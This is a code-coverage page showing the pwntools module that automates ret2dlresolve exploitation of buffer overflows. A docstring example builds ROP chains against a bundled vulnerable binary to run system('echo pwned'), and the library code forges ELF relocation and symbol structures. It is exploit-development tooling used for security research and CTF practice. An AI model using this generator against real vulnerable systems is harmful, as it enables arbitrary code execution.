• Home
  • Features
  • Pricing
  • Docs
  • Announcements
  • Sign In

Gallopsled / pwntools / 3797606986

pending completion
3797606986

push

github-actions

GitHub
Merge branch 'dev' into rop_raw_list

3931 of 6599 branches covered (59.57%)

102 of 102 new or added lines in 15 files covered. (100.0%)

12074 of 16876 relevant lines covered (71.55%)

0.72 hits per line

Source File
Press 'n' to go to next uncovered line, 'b' for previous

80.81
/pwnlib/rop/ret2dlresolve.py
1
r"""
2
Provides automatic payload generation for exploiting buffer overflows
3
using ret2dlresolve.
4

5
We use the following example program:
6

7
::
8

9
    #include <unistd.h>
10
    void vuln(void){
11
        char buf[64];
12
        read(STDIN_FILENO, buf, 200);
13
    }
14
    int main(int argc, char** argv){
15
        vuln();
16
    }
17

18
We can automate the  process of exploitation with these some example binaries.
19
    
20
    >>> context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('i386'))
21
    >>> rop = ROP(context.binary)
22
    >>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
23
    >>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
24
    >>> rop.ret2dlresolve(dlresolve)
25
    >>> raw_rop = rop.chain()
26
    >>> print(rop.dump())
27
    0x0000:        0x80482e0 read(0, 0x804ae00)
28
    0x0004:        0x80484ea <adjust @0x10> pop edi; pop ebp; ret
29
    0x0008:              0x0 arg0
30
    0x000c:        0x804ae00 arg1
31
    0x0010:        0x80482d0 [plt_init] system(0x804ae24)
32
    0x0014:           0x2b84 [dlresolve index]
33
    0x0018:          b'gaaa' <return address>
34
    0x001c:        0x804ae24 arg0
35
    >>> p = elf.process()
36
    >>> p.sendline(fit({64+context.bytes*3: raw_rop, 200: dlresolve.payload}))
37
    >>> p.recvline()
38
    b'pwned\n'
39

40
You can also use ``Ret2dlresolve`` on AMD64:
41

42
    >>> context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
43
    >>> rop = ROP(elf)
44
    >>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
45
    >>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
46
    >>> rop.ret2dlresolve(dlresolve)
47
    >>> raw_rop = rop.chain()
48
    >>> print(rop.dump())
49
    0x0000:         0x400593 pop rdi; ret
50
    0x0008:              0x0 [arg0] rdi = 0
51
    0x0010:         0x400591 pop rsi; pop r15; ret
52
    0x0018:         0x601e00 [arg1] rsi = 6299136
53
    0x0020:      b'iaaajaaa' <pad r15>
54
    0x0028:         0x4003f0 read
55
    0x0030:         0x400593 pop rdi; ret
56
    0x0038:         0x601e48 [arg0] rdi = 6299208
57
    0x0040:         0x4003e0 [plt_init] system
58
    0x0048:          0x15670 [dlresolve index]
59
    >>> p = elf.process()
60
    >>> p.sendline(fit({64+context.bytes: raw_rop, 200: dlresolve.payload}))
61
    >>> if dlresolve.unreliable:
62
    ...     p.poll(True) == -signal.SIGSEGV
63
    ... else:
64
    ...     p.recvline() == b'pwned\n'
65
    True
66
"""
67

68
import six
1✔
69
from copy import deepcopy
1✔
70

71
from pwnlib.context import context
1✔
72
from pwnlib.log import getLogger
1✔
73
from pwnlib.util.packing import *
1✔
74
from pwnlib.util.packing import _need_bytes
1✔
75
from pwnlib.util.misc import align
1✔
76

77
log = getLogger(__name__)
1✔
78

79
ELF32_R_SYM_SHIFT = 8
1✔
80
ELF64_R_SYM_SHIFT = 32
1✔
81

82
class Elf32_Rel(object):
1✔
83
    ''
84
    """
85
    .. code-block:: c
86

87
        typedef struct elf32_rel {
88
            Elf32_Addr        r_offset;
89
            Elf32_Word        r_info;
90
        } Elf32_Rel;
91
    """
92
    size=1 # see _build_structures method for explanation
1✔
93
    def __init__(self, r_offset=0, r_info=0):
1✔
94
        self.r_offset = r_offset
1✔
95
        self.r_info = r_info
1✔
96

97
    def __flat__(self):
1✔
98
        return p32(self.r_offset) + p32(self.r_info)
1✔
99

100
    def __bytes__(self):
1✔
101
        return self.__flat__()
×
102

103

104
class Elf64_Rel(object):
1✔
105
    ''
106
    """
107
    .. code-block:: c
108

109
        typedef struct elf64_rel {
110
            Elf64_Addr r_offset;
111
            Elf64_Xword r_info;
112
        } Elf64_Rel;
113
    """
114
    size=24
1✔
115
    def __init__(self, r_offset=0, r_info=0):
1✔
116
        self.r_offset = r_offset
1✔
117
        self.r_info = r_info
1✔
118

119
    def __flat__(self):
1✔
120
        return p64(self.r_offset) + p64(self.r_info) + p64(0)
1✔
121

122
    def __bytes__(self):
1✔
123
        return self.__flat__()
×
124

125

126
class Elf32_Sym(object):
1✔
127
    ''
128
    """
129
    .. code-block:: c
130

131
        typedef struct elf32_sym{
132
            Elf32_Word        st_name;
133
            Elf32_Addr        st_value;
134
            Elf32_Word        st_size;
135
            unsigned char        st_info;
136
            unsigned char        st_other;
137
            Elf32_Half        st_shndx;
138
        } Elf32_Sym;
139
    """
140
    size = 16
1✔
141
    def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0):
1✔
142
        self.st_name = st_name
1✔
143
        self.st_value = st_value
1✔
144
        self.st_size = st_size
1✔
145
        self.st_info = st_info
1✔
146
        self.st_other = st_other
1✔
147
        self.st_shndx = st_shndx
1✔
148

149
    def __flat__(self):
1✔
150
        return p32(self.st_name) + \
1✔
151
            p32(self.st_value) + \
152
            p32(self.st_size) + \
153
            p8(self.st_info) + \
154
            p8(self.st_other) + \
155
            p16(self.st_shndx)
156

157
    def __bytes__(self):
1✔
158
        return self.__flat__()
×
159

160

161
class Elf64_Sym(object):
1✔
162
    ''
163
    """
164
    .. code-block:: c
165

166
        typedef struct elf64_sym {
167
            Elf64_Word st_name;
168
            unsigned char        st_info;
169
            unsigned char        st_other;
170
            Elf64_Half st_shndx;
171
            Elf64_Addr st_value;
172
            Elf64_Xword st_size;
173
        } Elf64_Sym;
174
    """
175
    size=24
1✔
176
    def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0):
1✔
177
        self.st_name = st_name
1✔
178
        self.st_value = st_value
1✔
179
        self.st_size = st_size
1✔
180
        self.st_info = st_info
1✔
181
        self.st_other = st_other
1✔
182
        self.st_shndx = st_shndx
1✔
183

184
    def __flat__(self):
1✔
185
        return p32(self.st_name) + \
1✔
186
            p8(self.st_info) + \
187
            p8(self.st_other) + \
188
            p16(self.st_shndx) + \
189
            p64(self.st_value) + \
190
            p64(self.st_size)
191

192
    def __bytes__(self):
1✔
193
        return self.__flat__()
×
194

195

196
class Queue(list):
1✔
197
    ''
198
    def size(self):
1✔
199
        size = 0
1✔
200
        for v in self:
1!
201
            # Lists, strings and ints all have size context.size
202
            # Assuming int size equals address size
203
            if isinstance(v, MarkedBytes):
×
204
                size += len(v)
×
205
            else:
206
                size += context.bytes
×
207
        return size
1✔
208

209

210
class MarkedBytes(bytes):
1✔
211
    ''
212
    pass
1✔
213

214

215
class Ret2dlresolvePayload(object):
1✔
216
    """Create a ret2dlresolve payload
217

218
    Arguments:
219
        elf (ELF): Binary to search
220
        symbol (str): Function to search for
221
        args (list): List of arguments to pass to the function
222

223
    Returns:
224
        A ``Ret2dlresolvePayload`` object which can be passed to ``rop.ret2dlresolve``
225
    """
226
    def __init__(self, elf, symbol, args, data_addr=None):
1✔
227
        self.elf = elf
1✔
228
        self.elf_load_address_fixup = self.elf.address - self.elf.load_addr
1✔
229
        self.strtab = elf.dynamic_value_by_tag("DT_STRTAB") + self.elf_load_address_fixup
1✔
230
        self.symtab = elf.dynamic_value_by_tag("DT_SYMTAB") + self.elf_load_address_fixup
1✔
231
        self.jmprel = elf.dynamic_value_by_tag("DT_JMPREL") + self.elf_load_address_fixup
1✔
232
        self.versym = elf.dynamic_value_by_tag("DT_VERSYM") + self.elf_load_address_fixup
1✔
233
        self.symbol = _need_bytes(symbol, min_wrong=0x80)
1✔
234
        self.args = args
1✔
235
        self.real_args = self._format_args()
1✔
236
        self.unreliable = False
1✔
237

238
        self.data_addr = data_addr if data_addr is not None else self._get_recommended_address()
1✔
239

240
        # Will be set when built
241
        self.reloc_index = -1
1✔
242
        self.payload = b""
1✔
243

244
        # PIE is untested, gcc forces FULL-RELRO when PIE is set
245
        if self.elf.pie and self.elf_load_address_fixup == 0:
1!
246
            log.warning("WARNING: ELF is PIE but has no base address set")
×
247

248
        self._build()
1✔
249

250
    def _format_args(self):
1✔
251
        # Encode every string in args
252
        def aux(args):
1✔
253
            for i, arg in enumerate(args):
1✔
254
                if isinstance(arg, (str,bytes)):
1!
255
                    args[i] = _need_bytes(args[i], min_wrong=0x80) + b"\x00"
1✔
256
                elif isinstance(arg, (list, tuple)):
×
257
                    aux(arg)
×
258

259
        args = deepcopy(self.args)
1✔
260
        aux(args)
1✔
261
        return args
1✔
262

263
    def _get_recommended_address(self):
1✔
264
        bss = self.elf.get_section_by_name(".bss").header.sh_addr + self.elf_load_address_fixup
1✔
265
        bss_size = self.elf.get_section_by_name(".bss").header.sh_size
1✔
266
        addr = bss + bss_size
1✔
267
        addr = addr + (-addr & 0xfff) - 0x200 #next page in memory - 0x200
1✔
268
        return addr
1✔
269

270
    def _build_structures(self):
1✔
271
        # The first part of the payload is the usual of ret2dlresolve.
272
        if context.bits == 32:
1✔
273
            ElfSym = Elf32_Sym
1✔
274
            ElfRel = Elf32_Rel
1✔
275
            ELF_R_SYM_SHIFT = ELF32_R_SYM_SHIFT
1✔
276
        elif context.bits == 64:
1!
277
            ElfSym = Elf64_Sym
1✔
278
            ElfRel = Elf64_Rel
1✔
279
            ELF_R_SYM_SHIFT = ELF64_R_SYM_SHIFT
1✔
280
        else:
281
            log.error("Unsupported bits")
×
282

283
        # where the address of the symbol will be saved
284
        # (ElfRel.r_offset points here)
285
        symbol_space = b"A"*context.bytes
1✔
286

287
        # Symbol name. Ej: system
288
        symbol_name_addr = self.data_addr + len(self.payload)
1✔
289
        symbol_name = self.symbol + b"\x00"
1✔
290
        symbol_end_addr = symbol_name_addr + len(symbol_name)
1✔
291

292
        # ElfSym
293
        index = align(ElfSym.size, symbol_end_addr - self.symtab) // ElfSym.size # index for both symtab and versym
1✔
294
        sym_addr = self.symtab + ElfSym.size * index
1✔
295
        sym = ElfSym(st_name=symbol_name_addr - self.strtab)
1✔
296
        sym_end_addr = sym_addr + sym.size
1✔
297

298
        # It seems to be treated as an index in 64b and
299
        # as an offset in 32b. That's why Elf32_Rel.size = 1
300
        self.reloc_index = align(ElfRel.size, sym_end_addr - self.jmprel) // ElfRel.size
1✔
301

302
        # ElfRel
303
        rel_addr = self.jmprel + self.reloc_index * ElfRel.size
1✔
304
        rel_type = 7
1✔
305
        rel = ElfRel(r_offset=self.data_addr, r_info=(index<<ELF_R_SYM_SHIFT)+rel_type)
1✔
306
        
307
        # When a program's PIE is enabled, r_offset should be the relative address, not the absolute address
308
        if self.elf.pie:
1!
309
            rel = ElfRel(r_offset=self.data_addr - (self.elf.load_addr + self.elf_load_address_fixup), r_info=(index<<ELF_R_SYM_SHIFT)+rel_type)
×
310
        
311
        self.payload = fit({
1✔
312
            symbol_name_addr - self.data_addr: symbol_name,
313
            sym_addr - self.data_addr: sym,
314
            rel_addr - self.data_addr: rel
315
        })
316

317
        ver_addr = self.versym + 2 * index # Elf_HalfWord
1✔
318

319
        log.debug("Symtab: %s", hex(self.symtab))
1✔
320
        log.debug("Strtab: %s", hex(self.strtab))
1✔
321
        log.debug("Versym: %s", hex(self.versym))
1✔
322
        log.debug("Jmprel: %s", hex(self.jmprel))
1✔
323
        log.debug("ElfSym addr: %s", hex(sym_addr))
1✔
324
        log.debug("ElfRel addr: %s", hex(rel_addr))
1✔
325
        log.debug("Symbol name addr: %s", hex(symbol_name_addr))
1✔
326
        log.debug("Version index addr: %s", hex(ver_addr))
1✔
327
        log.debug("Data addr: %s", hex(self.data_addr))
1✔
328
        if not self.elf.memory[ver_addr]:
1✔
329
            log.warn("Ret2dlresolve is likely impossible in this ELF "
1✔
330
                     "(too big gap between text and writable sections).\n"
331
                     "If you get a segmentation fault with fault_addr = %#x, "
332
                     "try a different technique.", ver_addr)
333
            self.unreliable = True
1✔
334

335
    def _build_args(self):
1✔
336
        # The second part of the payload will include strings and pointers needed for ROP.
337
        queue = Queue()
1✔
338

339
        # We first have to process the arguments: replace lists and strings with
340
        # pointers to the payload. Add lists contents and marked strings to the queue
341
        # to be processed later.
342
        for i, arg in enumerate(self.real_args):
1✔
343
            if isinstance(arg, (list, tuple)):
1!
344
                self.real_args[i] = self.data_addr + len(self.payload) + queue.size()
×
345
                queue.extend(arg)
×
346
            elif isinstance(arg, bytes):
1!
347
                self.real_args[i] = self.data_addr + len(self.payload) + queue.size()
1✔
348
                queue.append(MarkedBytes(arg))
1✔
349

350
        # Now we process the generated queue, which contains elements that will be in
351
        # the payload. We replace lists and strings with pointers, add lists elements
352
        # to the queue, and mark strings so next time they are processed they are
353
        # added and not replaced again.
354
        while len(queue) > 0:
1✔
355
            top = queue[0]
1✔
356
            if isinstance(top, (list, tuple)):
1!
357
                top = pack(self.data_addr + len(self.payload) + queue.size())
×
358
                queue.extend(queue[0])
×
359
            elif isinstance(top, MarkedBytes):
1!
360
                # Just add them
361
                pass
1✔
362
            elif isinstance(top, bytes):
×
363
                top = pack(self.data_addr + len(self.payload) + queue.size())
×
364
                queue.append(MarkedBytes(queue[0]))
×
365
            elif isinstance(top, six.integer_types):
×
366
                top = pack(top)
×
367

368
            self.payload += top
1✔
369
            queue.pop(0)
1✔
370

371
    def _build(self):
1✔
372
        self._build_structures()
1✔
373
        self._build_args()
1✔
STATUS · Troubleshooting · Open an Issue · Sales · Support · CAREERS · ENTERPRISE · START FREE · SCHEDULE DEMO
ANNOUNCEMENTS · TWITTER · TOS & SLA · Supported CI Services · What's a CI service? · Automated Testing

© 2025 Coveralls, Inc